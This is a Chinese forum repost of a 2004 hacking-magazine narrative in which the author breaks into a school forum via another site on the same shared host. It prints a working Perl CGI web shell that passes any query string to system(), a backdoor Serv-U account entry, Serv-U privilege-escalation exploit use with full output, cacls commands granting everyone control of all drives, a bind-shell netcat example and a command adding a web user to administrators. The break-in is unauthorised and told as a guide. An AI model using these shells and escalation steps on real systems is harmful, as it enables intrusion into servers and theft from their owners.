找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1996|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 - H& A2 t6 K& D: U! D
本文作者:angel0 U0 d6 M- p% ?( L, \
文章性质:原创" Y# Y- O# ?) W3 o: m7 K
发布日期:2004-11-09
" f; D" e$ y; |2 l, t9 N$ ]注意:
/ W. W( \; ~' M. i# @; b) y* O8 [- J本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
5 [" N- C4 g+ e4 V' K; ?* e本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。; j2 p, ^( F$ B% ~0 Z
0 O5 ]& s- x; c) C1 X6 ^5 t
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
! ~' ?5 |$ M/ B; Q! z# \7 ^
+ q+ l  X* D# g3 ?1 ~$ O1 h  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 2 i* g7 A* T. |+ J4 v* {
8 W9 T3 r9 `3 S$ q  j  x
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
& w6 _# ]( J' N9 c7 m  P+ L5 z3 V7 q
) e& t" Z4 w$ Y+ R7 V9 g  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 $ }8 P$ u; V; l% o
+ g# c' w) \/ B. L
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 % g0 z1 `# g4 l' F) V& m/ `
" h& h# V  X) S! Y7 J
  没有目的的跳转目录着……
+ U! T, A9 Q: Q
  v7 @) ^+ U2 ^3 f$ s/ _7 k9 [& g  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ! C& x  j& r% x/ g+ @8 S. s; c% D

; h9 x1 Y3 R$ z. `# @6 E( Y  结束了吗?不,我试着 FTP 一下:
6 O$ N$ V; w" Z+ H5 o) u$ o7 R: s* X+ l. s5 d- j9 [- M
Microsoft Windows 2000 [Version 5.00.2195]1 ?$ h  Z/ O0 ]
(C) 版权所有 1985-2000 Microsoft Corp. # c& d% _0 O( x& c: \
$ x4 U4 O6 s7 w5 H* \
C:\Documents and Settings\Administrator>ftp www.school.com
9 f8 p  ]% D5 D: I) t7 DConnected to www. school.com.
+ N  h( d$ H6 L* v220 Welcome to FTP Server...
# ^2 V6 @' [7 e0 }1 S, A2 j  ^2 x) O3 UUser (www.bjtrq.com:(none)): 2 \- z# e& n4 b% W8 o
331 User name okay, need password. , R6 X* c9 Y3 n- A/ r5 \, f0 W4 b. `
Password:
& a& _# H- M. c' ?530 Not logged in.
# \; ]. n$ z" {* H+ ~" j0 d- yLogin failed.
' }3 v/ w4 |/ \' B6 Q' fftp> bye
! M4 k7 _' \% z" m221 Goodbye!
( g2 h; ~9 |6 v; x5 s, D- m ( `4 m) V, J! @5 q% N8 x
. q4 n. F9 h* `% y! `6 F) ~; X
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… / T! t3 D& n$ I

8 f8 J, w) y6 y, P! N/ ^  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ) Z8 A- z7 i' h3 Z& W9 N8 o. I

! _- V5 x: D4 d1 m! K9 z5 x/ _8 t. xApplication Data. w5 i, j$ |8 z  W
Documents
/ O- Q; N4 L% I3 L$ s7 |5 k5 f0 Z2 uDRM, P" R4 S$ w0 o6 s3 m, L
Favorites" ~8 o' O/ Q& h" ?, l* J
Templates
6 d3 K6 A5 w8 f5 p「开始」菜单  j  v4 C2 p( a
桌面
+ M/ \) X8 g! [ $ ?' a2 [. \& j9 _( C
0 ~) F% e% J8 f
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, * j  p. g# L" j3 z1 `3 f
! P% b+ C( w' d5 K6 V
ActiveState ActivePerl 5.8$ y7 v+ v* e$ \, K- a6 U; w( M
Administrative Tools' V1 d$ m' b& m1 A6 b6 i+ ?3 D8 u
Deerfield.com' c+ D. S5 L6 p1 E: f6 M9 v# {
DTemp% @; t, a2 q4 U, I9 Q5 d
IPSentry
; s1 ~3 _# m  |) a2 T' tMBM 5
8 ?5 s5 j! D0 W; A9 J$ UNetMeter, V4 E" u" Q  \3 H0 I
Network ICE
! ^8 `+ W: f. q; r* ZPersits Software AspEmail
: [2 W0 U# Y2 h* OPersits Software AspJpeg
6 ]1 y) o. d4 PServ-U FTP Server
$ z8 K! b! b( w2 ySymantec Client Security
( f0 B1 w+ n! B2 o0 d5 o' m* y" zWindows 优化大师) N+ e* O, Q- l5 b
WinRAR
% x3 l8 X: F  y* ]8 K9 X启动
9 T& U, P$ N1 r管理工具
+ P. E* K4 F( H' v* B& k附件/ ^9 A) M4 {% {0 L) k

& L8 j9 p3 V3 ^3 f9 ]; ]# _8 B" S7 g) ?( t4 w% q
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 3 O* W- u7 z% g2 V4 P4 Y
6 Z6 X% x) a3 [8 O) W$ o
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
' R* `% H$ z( f$ b* x  D9 t) h
0 m' y" j! `5 H2 z. `% GUser281=angel|1|0
+ [2 _5 E3 P9 L ) k! }" ?  f$ b

0 n7 w9 y# k  n& D" r3 K  然后加上 & q  e7 c1 @! k: T9 j5 i. j" w

6 f7 R0 _$ x" q5 e. N[USER=angel|1]! n3 m0 N* e- c0 D7 L5 w" G+ o
Password=ng98F85379EA68DBF97BAADCA99B69B805& u1 G2 e( c" S
HomeDir=D:\websites, K( t/ b# N' ~; u8 I- {
RelPaths=1' ~/ j4 r: R, k  t; p2 ]0 b) M
TimeOut=600
' L1 |5 W3 |8 T( k0 R7 u- f7 ZMaintenance=System
# h8 P; l1 G4 N6 }9 l! i, o9 s8 }Access1=D:\websites|RWAMELCDP
' s8 }; w7 c2 U  k, K$ U! O- ?SKEYValues=6 x2 p9 M. j/ o; Q* j. W
3 \- m/ @# `0 S5 {! Y5 E+ C& T

# Z2 h6 ?7 j# E1 [: t  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
5 P4 u) Y6 f2 t1 o; ~; I4 E, G4 b
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
( T* g6 \% o+ Q& W# t1 j$ ?. ~' p, K( M  W: g
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ( p$ D; y: d" g0 O1 f3 a' U6 H

+ |' U5 O, j2 W* j, P  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
( |' Z$ b7 A# T, x. D+ m
2 k5 ]0 [- C1 Z6 {, F% W#!/usr/bin/perl
$ e& f6 w; S* Qbinmode(STDOUT);$ K+ }% _; d& R1 }) _1 K+ x( {
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
/ q! @' ~8 y3 I9 p! m! r$_ = $ENV{QUERY_STRING};
+ X$ m6 _% U. v4 E, C1 p8 Hs/%20/ /ig;/ t; n: P7 ]3 o
s/%2f/\//ig;4 J+ Q* t! d. K4 B+ l, v
$execthis = $_;
+ u, O0 H9 j  `- |syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
2 Z' p  ?3 x8 ?open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";6 `. O; M* n7 ~" F9 V" w
system($execthis);
8 h. H- u2 S5 C- P7 C0 Wsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);9 P% n- J7 Q2 T2 r* I% }# d- ~
close(STDERR);
0 D" j. a, Y' M+ M2 X% vclose(STDOUT);2 q7 Q& T4 h% v; l- G3 [
exit;& }( l. ~0 \" c4 e* L4 G
+ E* ]5 X) |4 P9 ~

6 A/ q: ?$ c! }* A" v  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
. ?) m2 I& ^. j$ M% a) }, D- b
$ [2 r- E& ]6 [* ~. k1 _" c/ B  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
+ h7 ~. t  L5 H( u; g
" y  J  s8 o/ {, I3 a4 Q2 yhttp://anyhost//cmd.pl?d:\user\bin\su.exe
: E( K4 ?& m. V , s2 H! G# z9 n: A  J, }
' R. x2 O8 `$ s( z1 m
  返回:
0 U9 q6 I8 D0 s/ x/ Y! O* W! F) f6 H7 t* F( [4 f
Serv-u >3.x Local Exploit by xiaolu 6 |+ n/ q& }) _: V( D1 U
- j+ D) D$ G/ p0 Q$ J1 x$ s
USAGE: serv-u.exe "command" & D5 R# D6 o# `' e  m. Y# v5 t% i

3 I+ y1 ?* b0 \& F) H5 BExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
  h1 p' A) Q6 {9 L* Q* [, F8 e. e: U
/ ~: K9 |1 j0 q1 P  k
0 [+ r! f1 K5 Y9 Y( S  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
5 L" c0 \, ^& A5 @" g9 V, g: z: q& g. p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ! w( R$ Q: O; y/ p) m. m
8 v& P6 t9 J. ]3 G$ n8 b% `
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
' H  f& ]0 t$ a' y" Y/ N
. y- t9 n; C( g9 Ahttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" * d8 x# D8 U7 M2 m' Y2 x

: ?' i6 E2 o) A" Jhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 8 K& j+ G1 p( Q- x6 E' }9 o$ _3 \" Y
  [% s5 v1 J4 S' D: L  `% W5 {
% C+ B9 w! W% }0 U) J
  返回下面的信息,就表示成功了!!! / V) `3 S, I0 r! {& e1 x. o

3 z6 s+ y- R* h  R% QServ-u >3.x Local Exploit by xiaolu
6 u/ f! X7 T. x) r& d" ^; _1 ]( h; z) e" ]4 l: c) S1 Y& A. B# M9 d
<220 Serv-U FTP Server v5.2 for WinSock ready...
: g$ c" G4 W% @, E0 K; }- J
3 [8 i9 F; T4 ~0 m% l" Z& `>USER LocalAdministrator
1 j: B5 u' I$ g3 }# s, J# q& p: ^/ j% N+ J
<331 User name okay, need password. " Y$ ~  W+ W/ @
; y. [$ J  S" S1 g5 {0 Y& C) y
****************************************************** ( z: G7 c, G0 d4 I  }) d
6 ^8 A; }8 a0 l/ K% u8 x
>PASS #l@$ak#.lk;0@P
" t% B: }3 u. V! p. X+ ]
6 L0 v, ^8 h- i+ g5 g7 i- \# s+ J<230 User logged in, proceed.
9 N: J4 D! P; q7 b7 B
& E5 G1 C' e4 ?( ^8 v6 v  W******************************************************   F4 x6 e6 y. s5 c; I+ U2 l4 g, y

0 |" E4 e9 C- s) r. d% G0 z% F>SITE MAINTENANCE
3 ]  p  W% v9 u4 o* d4 H
0 S5 r! `' e( h  V) B****************************************************** & M- S) ^  o& K/ Z) {: `

8 [! W, y, A! q[+] Creating New Domain...
! B/ q; _6 _2 @5 A( Y- G) l% q
( e2 p2 ]; e! {<200-DomainID=2 ; [) Q# f3 k" }: Z6 q: U5 S

/ ~1 V4 V7 U7 |1 J$ W# \6 @3 o<220 Domain settings saved
2 ]) Q- Q& }& `- o/ q' m. B2 G$ k1 v- k: n$ f
****************************************************** 4 k  [7 O1 c! c( K

" j4 U# M0 g% Z9 C! C/ k[+] Domain xl:2 Created " Q9 i3 x) }3 T  u% m5 J: t5 n8 P6 e
$ x2 B) K1 D  O7 B9 J/ f4 A
[+] Creating Evil User
6 t% m4 m8 U, |9 p/ _) y" s. m2 [
5 Y) g5 h9 Y1 }# V  S& P4 _<200-User=xl
( H& v5 D2 v" P) H+ t; U7 ^' c6 B+ \7 X6 d& Q
200 User settings saved & x. @# ]& C8 x" z% V4 j- \5 p! M$ L
0 L* {: r/ u1 P/ `# Z' I
****************************************************** 4 o; {% }9 e- Z. O, L) s; V" T
# m- l  w1 e: D. h% p
[+] Now Exploiting...
9 ^1 V& t4 z7 ]: R* k
2 q' w# I! t8 M7 X( v/ F! |0 A1 Y>USER xl
+ v5 l( T2 c# n5 A0 M4 z' w* i
, q4 o7 D- o& s4 n& w, J' A! t& e$ n<331 User name okay, need password.
9 d6 K6 X7 t. {2 _: w8 ^$ f% ~7 s; h5 _& k
****************************************************** " L, G0 T3 ]7 o0 A8 \8 B( x
( K; g3 x) n5 j- V
>PASS 111111
" K  H8 a! q2 Q7 H# y  y+ G7 T
- J6 w! u9 ]) n3 e<230 User logged in, proceed.
4 B7 j& d: ~" g4 e& Z9 C
3 }3 x* f9 `& F5 a# q  T( j******************************************************
- A2 @9 @% ^6 }
9 R, @0 }% l( g+ ^) S: J$ n[+] Now Executing: cacls.exe c: /E /T /G everyone:F ( ?8 k1 m5 q- h3 `3 E8 x4 o7 {. _7 ?

0 F8 M) @( ^: g& n2 b; z  [<220 Domain deleted 4 Y4 D' e9 W6 y! {
7 k1 |9 D% W( m( a) l" M3 Q
****************************************************** ' o9 N5 n6 ]: z7 P" y; ?5 W/ C

$ q" O7 v+ m- T1 j" X" U2 s' t0 ]( O7 s* G
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
$ @6 x& C% g5 z( r% w, D# ?, E  k+ I- h7 U  L! G- y
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" * f- o# g0 ]  [

$ F7 y) G) f- m
- Z5 L' _* u) s5 {8 W  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
6 m& ~# Q  l1 `+ k3 E5 w; ~
  Q6 B+ X' Q1 z* C& M  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。4 T5 f" I  c3 B2 @0 I  ?- W

8 ~$ o2 S$ Q  U  2 m' W5 |( s2 o) c4 T) Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表